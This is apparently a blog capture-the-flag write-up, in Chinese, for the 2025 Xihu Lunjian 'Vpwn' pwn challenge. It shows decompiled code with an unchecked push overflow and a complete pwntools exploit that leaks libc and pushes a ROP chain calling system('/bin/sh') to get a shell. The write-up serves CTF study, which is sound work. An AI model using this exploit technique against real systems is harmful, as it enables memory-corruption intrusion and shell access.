2025 西湖论剑 Vpwn
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled

保护全开。

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int v3; // ebx
  int v5; // [rsp+8h] [rbp-68h] BYREF
  int v6; // [rsp+Ch] [rbp-64h] BYREF
  __int64 v7; // [rsp+10h] [rbp-60h] BYREF
  char v8[40]; // [rsp+30h] [rbp-40h] BYREF 栈顶在 v8 + 24 的地方,所以栈只能放 6 个 int_32
  unsigned __int64 v9; // [rsp+58h] [rbp-18h]

  v9 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  sub_1840((__int64)v8);                        // 栈个数清零
  while ( 1 )
  {
    std::operator<<<std::char_traits<char>>(&std::cout, "\nMenu:\n");
    std::operator<<<std::char_traits<char>>(&std::cout, "1. Edit an element in the vector\n");
    std::operator<<<std::char_traits<char>>(&std::cout, "2. Push a new element\n");
    std::operator<<<std::char_traits<char>>(&std::cout, "3. Pop the last element\n");
    std::operator<<<std::char_traits<char>>(&std::cout, "4. Print vector\n");
    std::operator<<<std::char_traits<char>>(&std::cout, "5. Exit\n");
    std::operator<<<std::char_traits<char>>(&std::cout, "Enter your choice: ");
    std::istream::operator>>(&std::cin, &v5);
    switch ( v5 )
    {
      case 1:
        std::operator<<<std::char_traits<char>>(&std::cout, "Enter the index to edit (0-based): ");
        std::istream::operator>>(&std::cin, &v7);
        std::operator<<<std::char_traits<char>>(&std::cout, "Enter the new value: ");
        std::istream::operator>>(&std::cin, &v6);
        v3 = v6;
        *(_DWORD *)sub_185C(v8, v7) = v3;
        std::operator<<<std::char_traits<char>>(&std::cout, "Element updated successfully.\n");
        break;
      case 2:
        std::operator<<<std::char_traits<char>>(&std::cout, "Enter the value to push: ");
        std::istream::operator>>(&std::cin, &v7);
        sub_18F4(v8, &v7);
        std::operator<<<std::char_traits<char>>(&std::cout, "Element pushed successfully.\n");
        break;
      case 3:
        sub_1928((__int64)v8);
        std::operator<<<std::char_traits<char>>(&std::cout, "Last element popped successfully.\n");
        break;
      case 4:
        sub_19BC((__int64)v8);
        break;
      case 5:
        std::operator<<<std::char_traits<char>>(&std::cout, "Exiting program.\n");
        return 0LL;
      default:
        std::operator<<<std::char_traits<char>>(&std::cout, "Invalid choice! Please enter a valid option.\n");
        break;
    }
  }
}
__int64 __fastcall sub_1840(__int64 a1)
{
  __int64 result; // rax

  result = a1;
  *(_QWORD *)(a1 + 24) = 0LL;
  return result;
}
__int64 __fastcall sub_185C(__int64 a1, unsigned __int64 a2)
{
  std::out_of_range *exception; // rbx

  if ( a2 >= *(_QWORD *)(a1 + 24) )
  {
    exception = (std::out_of_range *)__cxa_allocate_exception(0x10uLL);
    std::out_of_range::out_of_range(exception, "Index out of range");
    __cxa_throw(
      exception,
      (struct type_info *)&`typeinfo for'std::out_of_range,
      (void (__fastcall *)(void *))&std::out_of_range::~out_of_range);
  }
  return 4 * a2 + a1;
}
__int64 __fastcall sub_18F4(__int64 a1, int *a2)
{
  int v2; // ecx
  __int64 result; // rax

  v2 = *a2;
  result = *(_QWORD *)(a1 + 24);
  *(_QWORD *)(a1 + 24) = result + 1;
  *(_DWORD *)(a1 + 4 * result) = v2;
  return result;
}
__int64 __fastcall sub_1928(__int64 a1)
{
  std::out_of_range *exception; // rbx
  __int64 result; // rax

  if ( !*(_QWORD *)(a1 + 24) )
  {
    exception = (std::out_of_range *)__cxa_allocate_exception(0x10uLL);
    std::out_of_range::out_of_range(exception, "StackVector is empty");
    __cxa_throw(
      exception,
      (struct type_info *)&`typeinfo for'std::out_of_range,
      (void (__fastcall *)(void *))&std::out_of_range::~out_of_range);
  }
  result = a1;
  --*(_QWORD *)(a1 + 24);
  return result;
}

程序比较好懂,模拟了一个栈,然而 push 函数没有对栈进行检查,可以随便溢出,而且第 7 个位置可以随意修改当前栈元素个数。利用思路十分简单:篡改栈元素个数泄露栈上残留的与 libc 相关的地址从而泄露 libc 基地址,再将 ROP 链 push 到返回地址,最后按 5 触发 main 函数的返回,激活 ROP 链,以此拿到 shell.

虽然看上去非常简单,但是实现起来还是需要注意一些细节,比如栈中元素的数据类型,带符号 4 字节大小,元素大小只能在 -231 ~ 231-1 这个范围,并且由于程序是 64 位的,所以里面的地址都是 8 字节的,读取时要合并,写入时要分拆,有点麻烦。

from pwn import *

io = process('./Vpwn')
libc = ELF('libc.so.6')

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

# gdb.attach(io, 'b *$rebase(0x15c1)')

def cmd(choice):
    io.recvuntil(b'Enter your choice:')
    io.sendline(str(choice))

def edit(index, value):
    cmd(1)
    io.recvuntil(b'Enter the index to edit (0-based): ')
    io.sendline(str(index))
    io.recvuntil(b'Enter the new value: ')
    io.sendline(str(value))

def push(value):
    cmd(2)
    io.recvuntil(b'Enter the value to push: ')
    io.sendline(str(value))

def pop():
    cmd(3)

def show():
    cmd(4)

def exit():
    cmd(5)

def sign2unsigned(value):
    return value & 0xffffffff

def unsigned2sign(value):
    return value | 0x100000000

for i in range(6):
    push(0x10)

push(0x100) # 想看几个看几个 0x78-0x30

# leak libc
show()
io.recvuntil(b'StackVector contents: ')
dt = io.recvuntil(b'\n').strip(b" \n").split(b' ')
# print(dt)
dt2 = [hex(sign2unsigned(int(i))) for i in dt]
print(dt2)
# 因为输出的时候是 4 字节一输出,所以要两两合并才能得到真实的地址
# 相差 0x48 的地方有个 libc 相关的地址,减去偏移就是基地址

dt3 = []

for i in range(8, len(dt2), 2):
    latter = dt2[i][2:]
    former = dt2[i+1][2:]
    complete = '0x' + former + latter.rjust(8, '0')
    dt3.append(int(complete, 16))

offset = 0x29d90
libc_start_addr = dt3[5]
libc.address = libc_start_addr - offset
print(hex(libc.address))

# ROP chain
# 0x000000000002a3e5 : pop rdi ; ret
# 0x000000000002be51 : pop rsi ; ret
# 0x000000000011f2e7 : pop rdx ; pop r12 ; ret
system_addr = libc.sym['system']
binsh_addr = next(libc.search(b'/bin/sh\x00'))
pop_rdi = libc.address + 0x000000000002a3e5
pop_rsi = libc.address + 0x000000000002be51
pop_rdx_r12 = libc.address + 0x000000000011f2e7

# 写入指定位置,需要修改栈大小,懒得算,调试一下看看差多少
edit(6, 0x12)
# 将 ROP 写进栈中时要考虑到栈还是 4 字节一格,但地址是 8 字节的
# 注意! 栈里面数据带符号,所以只能存 -2^31 ~ 2^31-1 的数
def cutdown(value):
    if value > 0x7fffffff:
        return value - 0x100000000
    return value

def makeinstack(addr):
    addr_str = hex(addr)[2:].rjust(16, '0')
    latter = int(addr_str[:8], 16)
    former = int(addr_str[8:], 16)
    former = cutdown(former)
    latter = cutdown(latter)
    push(former)
    push(latter)

makeinstack(pop_rdi)
makeinstack(binsh_addr)
makeinstack(pop_rsi)
makeinstack(0)
makeinstack(pop_rdx_r12)
makeinstack(0)
makeinstack(0)
makeinstack(system_addr)


# trigger
exit()

io.interactive()
上一篇
下一篇